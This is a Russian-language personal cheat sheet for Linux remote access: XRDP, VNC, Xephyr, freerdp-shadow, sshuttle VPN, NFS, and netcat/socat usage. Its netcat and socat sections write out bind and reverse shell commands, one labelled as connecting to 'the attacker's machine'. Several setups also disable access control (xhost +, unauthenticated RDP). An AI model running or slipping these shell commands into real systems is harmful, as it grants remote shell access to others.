установка XRDP, VNC и SSH на Ubuntu и Debian 2 XRDP
usermod -aG audio,video пользователь
sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy
выбираем "кто угодно"
sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh
#!/bin/sh
if [ -r /etc/default/locale ]; then
. /etc/default/locale
export LANG LANGUAGE
fi
xterm # sakura # startfluxbox # startxfce4
Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.
sudo chmod +x /etc/xrdp/startwm.sh
hwinfo |grep XkbModel
sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini
[default_rdp_layouts]
rdp_layout_us=0x00000409
rdp_layout_de=0x00000407
rdp_layout_fr=0x0000040C
rdp_layout_it=0x00000410
rdp_layout_jp=0x00000411
rdp_layout_jp2=0xe0010411
rdp_layout_jp3=0xe0200411
rdp_layout_jp4=0xe0210411
rdp_layout_ru=0x00000419
rdp_layout_se=0x0000041D
rdp_layout_pt=0x00000816
rdp_layout_br=0x00000416
rdp_layout_pl=0x00000415
[rdp_keyboard_ru]
keyboard_type=4
keyboard_subtype=1
model=pc105
options=grp:alt_shift_toggle
# options=grp:alt_shift_toggle,grp_led:scroll
rdp_layouts=default_rdp_layouts
# layouts_map=default_layouts_map
layouts_map=layouts_map_ru
[layouts_map_ru]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru
echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart
systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить
rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us
если ошибки с локалью, то вбить export LANG=ru_RU.utf8
если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives
vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.
ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа
запуск графических приложений из snap
nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY
sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10
xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь
ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"
запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &
https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9https://hostiq.ua/wiki/install-rdp-server/#2_5https://wiki.yola.ru/xrdp:xrdp VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04Удаленный доступ. Обобщил себе на память.Ошибка cannot open display в LinuxDocker: запуск графических приложений в контейнерах FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в ADxrdp_keyboard.ini
[default]
keyboard_type=0
keyboard_subtype=0
rdp_layouts=default_rdp_layouts
layouts_map=default_layouts_map
[default_rdp_layouts]
rdp_layout_us=0x00000409
rdp_layout_ru=0x00000419
[default_layouts_map]
rdp_layout_us=us
rdp_layout_ru=ru
[rdp_keyboard_ru]
keyboard_type=4
keyboard_subtype=1
model=pc105
options=grp:ctrl_shift_toggle
rdp_layouts=default_rdp_layouts
layouts_map=layouts_map_ru
[layouts_map_ru]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru
В пользовательской директории создаем файл .startwm.sh с таким содержимым:
#!/bin/sh
export LANG=ru_RU.UTF-8
/usr/local/bin/setxkbmap -model "pc105" -layout "us,ru" -option "grp:ctrl_shift_toggle"
exec startfluxbox
Добавляем в /etc/rc.conf
xrdp_enable="YES"
xrdp_sesman_enable="YES"
И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.
freerdp-shadow
Как установить и запустить RDP сервер в Linuxsudo apt install freerdp2-shadow-x11 winpr-utils
Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth
Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ
К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2
Получен хеш:
8f33e2ebe5960b8738d98a80363786b0
Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::
Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ - указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla - принудительное включение аутентификации по протоколу NLA
Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla
Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:
x,y - координаты верхнего левого угла прямоугольника
w - ширина прямоугольника
h - высота прямоугольника
К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500
Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.
Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorghttps://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linuxhttps://xneur.ru/settingsУдаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/DebianХ из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111
Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost - это XDMCP сервер, 800x600 - требуемое разрешение, а :1 - номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost -screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2
XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.Настройка XDMCP, удаленного подключения к рабочему столу Linux nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true
Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true
service lightdm restart
netstat -na | more
XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) - принимает входящие подключения на порт 6000/TCP
Xpra
https://xpra.org/index.htmlhttps://github.com/Xpra-org/xprahttps://wiki.archlinux.org/title/Xprahttps://www.altlinux.org/Xpraxpra - утилита удаленного запуска графических приложенийhttps://winswitch.org/downloads/Учимся переносить запущенные программы с одного компьютера на другой VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vncКак настроить и использовать сервер TigerVNC в Linuxsudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup
#!/bin/bash
PATH=/usr/bin:/usr/sbin
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
exec xterm & # вместо xterm напр startfluxbox или др.
vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd
vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей
x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM) установим x11vnc:
sudo apt-get install x11vnc
Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass
vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900
Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log
проверим:
vncviewer localhost
service x11vnc start
Быстрая настройка x11vncУстанавливаем x11vnc
sudo apt-get install x11vnc
Генерируем пароль для доступа:
x11vnc -storepasswd
При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:
start on login-session-start
script
x11vnc -dontdisconnect -display :0 -auth /var/run/lightdm/root/:0 -notruecolor -noxfixes -shared -forever -rfbport 5900 -bg -o /var/log/x11vnc.log -rfbauth /home/USERNAME/.vnc/passwd
end script
если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen работающие скрипты:
скрипт гасится сам
exec x11vnc -xkb -noxrecord -noxfixes -noxdamage -display :0 -auth /var/run/lightdm/root/:0 -usepw
нужно гасить pkill x11vnc
/usr/bin/x11vnc -xkb -forever -auth /var/run/lightdm/root/:0 -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -bg -o /var/log/x11vnc.log
запускать как службу
mcedit /lib/systemd/system/x11vnc.service
[Unit]
Description=Start x11vnc at startup.
After=multi-user.target
[Service]
Type=simple
ExecStart=/usr/bin/x11vnc -xkb -noxrecord -noxfixes -noxdamage -display :0 -auth guess -rfbauth /etc/x11vnc.pass
ExecStop=/usr/bin/killall x11vnc
Restart=on-failure
RestartSec=2
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable
рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc
vi /lib/systemd/system/x11vnc.service
[Unit]
Description=x11vnc service
After=display-manager.service network.target syslog.target
[Service]
Type=simple
ExecStart=/usr/bin/x11vnc -forever -display :0 -auth guess -passwd ваш_пароль
ExecStop=/usr/bin/killall x11vnc
Restart=on-failure
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service
рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess
Как настроить VNC сервер x11vnc в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0
ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171https://www.linux.org.ru/forum/admin/12755272https://www.linux.org.ru/forum/general/13664036/page1#commentshttps://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper вместо light-locker установить xscreensaver
VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузерекачается
https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается
https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера
VPN
ssh VPN
https://www.stunnel.org/Stunnel на сервере и клиенте Shellinabox - если вдруг заблокируют SSH Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttlesshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0
https://github.com/sshuttle/sshuttlehttps://sshuttle.readthedocs.io/en/stable/ pip install sshuttle
создаем скрипт с именем типа vpn.sh:
#!/bin/sh
set -e
USER=eax
SERVER=11.22.33.44
DNS=8.8.8.8
mv /etc/resolv.conf /etc/resolv.conf.sshuttle-$SERVER.bak
echo "nameserver $DNS" > /etc/resolv.conf
sshuttle --dns -r $USER@$SERVER -x $SERVER 0/0 || true
mv /etc/resolv.conf.sshuttle-$SERVER.bak /etc/resolv.conf
Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.
Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh
… и ждем появления строчки:
client: Connected.
Проверяем, что все работает:
curl
https://eax.me/ip/ В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me
В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
… где 8.8.8.8 - это выбранный нами DNS-сервер. В данном случае это сервер компании Google.
Напоследок вот вам несколько занимательных фактов о sshuttle:
Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;
https://github.com/Nyr/openvpn-installhttps://github.com/Nyr/wireguard-installСвой VPN сервер на Wireguard с помощью Docker OpenVPN
Бесплатный VPN сервер, клиент, и тд vpn pptp openvpn centos7 настройка клиента openvpnГенерация ключей OpenVPN sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn
https://www.oracle.com/cloud/free/ Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server
Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0
проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80
netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDPКак пользоваться netcat (nc), ncatОбратная инженерия сетевого трафикаПолезные трюки при работе с netcat Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000
Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444
веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done
UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ
TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename
копирование зашифрованного диска
https://habr.com/ru/articles/800455/# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444
Как сделать прокси на виртуальном хостингелокальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 '
https://hackware.ru'
Socat
Сетевой pivoting: понятие, примеры, техники, инструменты Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP::1337
Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
Подключение к машине атакующего
socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;
Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211
ссылки
разница между DE и WM, а также работа в голых иксах скриншоты в иксах и консоли, разрешение экрана в tty Установка xrdp на CentOS 7 https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.htmlНастройка сервера VNC и RDP совместно с LightDMVNC в Linux: настройка сервера и клиентаВсё о RDP: от настройки до взломаsshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеровhttps://wiki.x2go.org/doku.phpОрганизуем себе безопасное рабочее место на удаленной виртуалке при помощи x2goНастройка Ubuntu Linux в качестве терминального сервера x2goLTSP: Терминальный сервер на LinuxLTSP: Терминальный сервер на Linux делаем vim удобным рабочий стол в консоли изменение времени файлов, удаление истории посещения и команд в linux